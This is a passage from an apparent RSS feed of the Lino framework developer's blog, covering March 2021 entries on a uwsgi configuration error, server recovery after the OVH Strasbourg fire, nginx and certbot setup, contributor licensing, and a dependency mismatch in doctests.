&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mf"&gt;12.34.56.78&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Mar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2021&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET / HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The reason was that I had forgotten to copy the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;wsgi.py&lt;/span&gt;&lt;/code&gt; file. TIL:
when your supervisor config file says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;uwsgi&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;ini&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;uwsgi&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ini&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;ignore&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;sigpipe&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;and the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;uwsgi.ini&lt;/span&gt;&lt;/code&gt; file says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;chdir&lt;/span&gt;           &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;project&lt;/span&gt;
&lt;span class="n"&gt;module&lt;/span&gt;          &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;wsgi&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;then you get this situation of having a plain text error message without a log
entry.&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;add test coverage of getlino usage as described in &lt;a class="reference external" href="https://hosting.lino-framework.org/install_demo/#getlino-install-demo" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Set up a public demo server&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0316.html</guid><pubDate>Tue, 16 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Still digesting the OVH fire in Strasbourg</title><link>https://luc.lino-framework.org/blog/2021/0315.html</link><description>&lt;section id="still-digesting-the-ovh-fire-in-strasbourg"&gt;
&lt;h1&gt;Still digesting the OVH fire in Strasbourg&lt;a class="headerlink" href="#still-digesting-the-ovh-fire-in-strasbourg" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Monday, March 15, 2021&lt;/p&gt;
&lt;p&gt;Hannes is working to get the mail servers at &lt;cite&gt;lino-framework.org&lt;/cite&gt; and
&lt;cite&gt;saffre-rumma.net&lt;/cite&gt; up and running again.  Yes, we didn’t have a backup plan for
these servers because they don’t hold any vital data, all knowledge on them is
documented under &lt;a class="reference external" href="https://hosting.lino-framework.org/mail/#admin-mail" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Running your own mail server&lt;/span&gt;&lt;/a&gt;. But it is still quite some work to actually
apply it again.  I don’t complain. It is a challenge that will help us to become
better.&lt;/p&gt;
&lt;p&gt;We need a better nickname for our new backup server because its current nickname
“hetzner2” is not a name we can show to external partners. It must bomething
neutral and easy to remember. It won’t be “famous”, because only team members
and business partners will talk about it. I choose &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;bombur&lt;/span&gt;&lt;/code&gt;. Here is my speech
at the naming ceremony:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Bombur is one of the dwarves who were companions to Bilbo Baggins on the quest
to reclaim Lonely Mountain from the dragon Smaug, along with his brother Bofur
and cousin Bifur. These three were to become something like an honour-guard to
Thorin. (&lt;a class="reference external" href="https://lotr.fandom.com/wiki/Bofur"&gt;source&lt;/a&gt;).
They were not descended from the Line of Durin, but rather the line of Moria.
Considered working class, Bofur was a miner like his parents before him.
Bombur eventually does prove to be a loyal person (&lt;a class="reference external" href="https://heroes-and-villain.fandom.com/wiki/Bofur"&gt;source&lt;/a&gt;).&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I restored my developer blog (&lt;a class="reference external" href="https://luc.lino-framework.org"&gt;https://luc.lino-framework.org&lt;/a&gt;) and the Community
Guide (&lt;a class="reference external" href="https://community.lino-framework.org/"&gt;https://community.lino-framework.org/&lt;/a&gt;).
Here is my cheat sheet for adding a new static site:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;cd&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;nginx&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sites&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;available&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;cp&lt;/span&gt; &lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;conf&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;conf&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;nano&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;conf&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;ln&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;etc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;nginx&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sites&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;available&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;conf&lt;/span&gt; &lt;span class="o"&gt;../&lt;/span&gt;&lt;span class="n"&gt;sites&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;enabled&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;nginx&lt;/span&gt; &lt;span class="n"&gt;restart&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;certbot&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;nginx&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I am still hesitating whether we should restore the pre-Strasbourg URL system
where we had a separate subdomain for every little doctree.  We might have a
single subdomain &lt;cite&gt;docs.lino-framework.org&lt;/cite&gt; where all these “minor” doctrees
(atelier, etgen, getlino, cosi, tera, noi, …) would be. One disadvantage is
that we probably need to add yet another doctree: the one that will be served at
the subdomain &lt;cite&gt;docs.lino-framework.org&lt;/cite&gt; itself. Why not. The “Lino Documentation
Centre”, nickname &lt;cite&gt;dc&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;But the first precedent &lt;em&gt;against&lt;/em&gt; the idea in the previous paragraph  was quick
to come: it was &lt;a class="reference external" href="https://eidreader.lino-framework.org"&gt;https://eidreader.lino-framework.org&lt;/a&gt;, for which I
“inadvertently” added a subdomain and a certbot certificate.  I guess that this
will continue with the other minor doctrees (algus, cosi, noi, avanti, tera,
presto, welfare, …)&lt;/p&gt;
&lt;p&gt;What about links like
&lt;cite&gt;https://de.welfare.lino-framework.org&lt;/cite&gt; and
&lt;cite&gt;https://fr.welfare.lino-framework.org&lt;/cite&gt;,
which have been published in miscellaneous channels and will probably
hang around forever?
AFAIK this can be fixed by configuring permanent redirects.&lt;/p&gt;
&lt;p&gt;I made another –probably last– commit to the GitHub repository of the Book
(&lt;a class="reference external" href="https://github.com/lino-framework/book"&gt;https://github.com/lino-framework/book&lt;/a&gt;). This repository is a bit dangerous now
because people may not realize that it’s no longer being used. So I added the
following sentence to the beginning of the &lt;a class="reference external" href="https://dev.lino-framework.org/contrib/legal.html#xfile-README.rst" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;README.rst&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Warning: this copy of the Lino Book is obsolete. New project homepage is
&lt;a class="reference external" href="https://gitlab.com/lino-framework/book"&gt;https://gitlab.com/lino-framework/book&lt;/a&gt;. See
&lt;a class="extlink-lino reference external" href="https://www.lino-framework.org/team/gh2gl.html.html"&gt;https://www.lino-framework.org/team/gh2gl.html.html&lt;/a&gt; for details.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I discovered a gaping hole in the documentation (it seems difficult to find
contact information), and that we need a “Lino Contributor License Agreement” to
be signed by every contributor. I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4022"&gt;#4022&lt;/a&gt; for this. What a
Pandora’s box!  It feels like an absurd waste of time that I need to care about
legal issues, and that I must ask a signature from a volunteer who wants to
contributes a code change.  But yes, I know that the current copyright
legislation requires it, I even knew it before. The incident in Strasbourg
reminded me that shit happens. So I need to get my hands dirty and start to care
about these things.&lt;/p&gt;
&lt;p&gt;Two standard files &lt;a class="reference external" href="https://dev.lino-framework.org/contrib/legal.html#xfile-CHANGELOG.rst" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;CHANGELOG.rst&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/contrib/legal.html#xfile-CONTRIBUTING.rst" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;CONTRIBUTING.rst&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; should
be in every repository.  For the Lino framework we will use &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.rst&lt;/span&gt;&lt;/code&gt;
suffix. Other projects, as it seems, use either &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.md&lt;/span&gt;&lt;/code&gt; or no suffix at
all.&lt;/p&gt;
&lt;p&gt;As a personal side effect of the fire in Strasbourg, I didn’t have enough sleep
for several days, and I try to slow down until my sleep is back to normal.
Better a few slow days than a burnout!&lt;/p&gt;
&lt;p&gt;The &lt;strong class="command"&gt;doctest docs/apps/noi/db.rst&lt;/strong&gt; reports
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;social_django.UserSocialAuth&lt;/span&gt;&lt;/code&gt; to have 5 database fields when running on
GitLab, but 7 fields when running on my computer.&lt;/p&gt;
&lt;p&gt;Here is the model definition on my computer:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;AbstractUserSocialAuth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DjangoUserMixin&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;Abstract Social Auth association model&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ForeignKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;USER_MODEL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;related_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;social_auth&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                             &lt;span class="n"&gt;on_delete&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CASCADE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;provider&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CharField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;uid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CharField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;UID_LENGTH&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;db_index&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;extra_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;JSONField&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;created&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DateTimeField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;auto_now_add&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;modified&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DateTimeField&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;auto_now&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;That is, 6 fields, plus one for the primary key. 7 Fields. So what is happening
on GitLab?  We use te latest development snapshot (in the book’s
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;requirements-include.txt&lt;/span&gt;&lt;/code&gt; file):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;social&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="nd"&gt;@git&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;social&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;social&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Aha, but the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-setup_info.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup_info.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file of the book specified yet another
dependency to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;social-auth-app-django==3.1.0&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0315.html</guid><pubDate>Mon, 15 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, March 11, 2021</title><link>https://luc.lino-framework.org/blog/2021/0311.html</link><description>&lt;section id="thursday-march-11-2021"&gt;
&lt;h1&gt;Thursday, March 11, 2021&lt;a class="headerlink" href="#thursday-march-11-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="getting-the-book-to-build-on-readthedocs"&gt;
&lt;h2&gt;Getting the book to build on readthedocs&lt;a class="headerlink" href="#getting-the-book-to-build-on-readthedocs" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yesterday I had a Skype chat with Charles from China. It turned out that he had
been reading the docs on &lt;a class="reference external" href="https://lino.readthedocs.io/en/master/"&gt;lino.readthedocs.io&lt;/a&gt;! The last successful build there was
a year and 4 months ago!  I vaguely remember that last time it failed because
they have some quota and the book was too big. Now I tried again and saw that
they have (of course!) evolved since then and that I had a
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;.readthedocs.yml&lt;/span&gt;&lt;/code&gt;, but maybe they require it to be named
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;.readthedocs.yaml&lt;/span&gt;&lt;/code&gt;. I renamed it and updated the requirements setting to
use our central &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;requirements.dev.txt&lt;/span&gt;&lt;/code&gt; file. Nice. That was one of the
disturbing things, that you needed an extra &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;requirements.txt&lt;/span&gt;&lt;/code&gt; file in the
docs subdirectory. But it still fails (&lt;a class="reference external" href="https://readthedocs.org/projects/lino/builds/13215043/"&gt;build 13215043&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="n"&gt;build_ext&lt;/span&gt;
    &lt;span class="n"&gt;building&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;_ldap&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;extension&lt;/span&gt;
    &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;
    &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Modules&lt;/span&gt;
    &lt;span class="n"&gt;gcc&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pthread&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wno&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;unused&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wsign&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;compare&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DNDEBUG&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fwrapv&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;O3&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wall&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fPIC&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DHAVE_SASL&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DHAVE_TLS&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DHAVE_LIBLDAP_R&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DHAVE_LIBLDAP_R&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DLDAPMODULE_VERSION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;3.3.1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DLDAPMODULE_AUTHOR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ldap&lt;/span&gt; &lt;span class="n"&gt;project&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DLDAPMODULE_LICENSE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Python&lt;/span&gt; &lt;span class="n"&gt;style&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;IModules&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;pyenv&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;versions&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;3.7.9&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;include&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="n"&gt;Modules&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;LDAPObject&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span 